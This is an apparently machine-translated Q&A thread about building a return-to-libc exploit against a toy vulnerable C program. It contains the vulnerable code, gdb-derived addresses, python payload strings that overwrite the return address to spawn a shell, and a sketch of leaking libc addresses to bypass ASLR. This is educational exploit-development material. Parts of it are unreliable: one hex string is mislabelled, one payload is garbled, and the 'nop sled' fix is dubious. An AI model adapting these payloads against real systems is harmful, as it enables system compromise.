Return 进入 libc 攻击

Return into libc attack

我正在尝试使用格式字符串攻击向量对以下代码实施 return-to-libc 攻击。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

我已经使用 gdb 中的 p system 命令找出了 system() 的地址。通过使用 x/500s $esp 检查堆栈帧,我计算出包含 \bin\sh.

的环境变量地址
system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

有了这些东西,我构建了以下格式字符串:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

其中 0xffffcdbc - 0x4 是包含系统地址 0xf7e2cda0 值的本地地址。

我使用 gcc -m32 -fno-stack-protector -o sh sh.c 编译程序,运行 使用 gdb sh 编译程序。执行后,输入 r<inp,我得到以下输出

如上所示,显示了一些错误命令,我仅在 运行 r 命令后才到达 shell。有人可以解释一下我在这里遗漏了什么,以便我直接进入 shell 吗?

另外,当我试图通过偏移 gdb 地址在没有 gdb 的情况下(通过 ./sh < inp)执行上面的程序时,我得到了一个分段错误。我假设一旦上述修复得到纠正,这个问题就可以解决。

请通过提供完整的工作漏洞来回答 - 大多数在线教程都使用 argv[1] 来解释类似的问题,但我希望在不使用参数的情况下使漏洞工作。

谢谢!

首先,您构建的是纯 stack-base 溢出,而不是格式字符串负载。

libc 函数 system() 可以与 gdb 一起使用,即使其参数无效 。例如,调用 system("asdasd") 仍然在 gdb 中给你一个 shell (弹出错误消息,这就是你所看到的),所以你的有效负载基本上没有找到 /bin/sh 正确。

你应该在system地址和/bin/sh地址之间加一个padding(很多pwn初学者忘记了这个),例如

print 'A'*padding_to_ret + addr_system + padding + addr_binsh

For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take system as return, $esp is now pointing to the position at padding, so the parameter /bin/sh ($ebp+0x4) should be right next to padding.


最后你提到你想在没有 argv 帮助的情况下构建有效载荷,是的,这是可能的,但你需要有机会 泄漏 libc 地址以击败 ASLR 来获取 /bin/sh 的地址(你可以在 libc 中找到这个字符串)。

以您提供的代码为例:

  1. scanf("%s, &a)
    • 为下一个 printf 构造类似 %x%x%9$x 的内容以在堆栈上泄漏一些 libc 地址。
    • main 覆盖 return 地址以进行另一次读取。
  2. printf(a)
    • 接收泄漏地址,计算libc基地址和其他有用的功能,如system_addr = libc_addr + system_offset
  3. scanf("%s, &a)
    • 现在你知道了system/bin/sh的地址,构建上面的ROP链获得控制权。

经过几天的研究,我终于找到了问题所在。这并不是说 /bin/sh 字符串的地址错误,或者您只需要 libc 库中的 \bin\sh 字符串地址位置即可使其正常工作,但您所需要的只是在您放置的字符串地址末尾的 4 个字节的 nop sled。所以,本质上,我的攻击字符串是这样的

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

或者在您将 /bin/sh 直接写入缓冲区的情况下,类似于以下字符串的内容会起作用

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68[=11=]" + "\x90\x90\x90\x90" ' > inp

其中 \x5c\x73\x68\bin\sh 的十六进制)存储在 \x84\xce\xff\xff

的缓冲区中

注意:我有时也观察到您在特定位置写入的地址不会以某种方式显示。在这些情况下,您应该进行填充以确保所有内容都存储在各自的位置。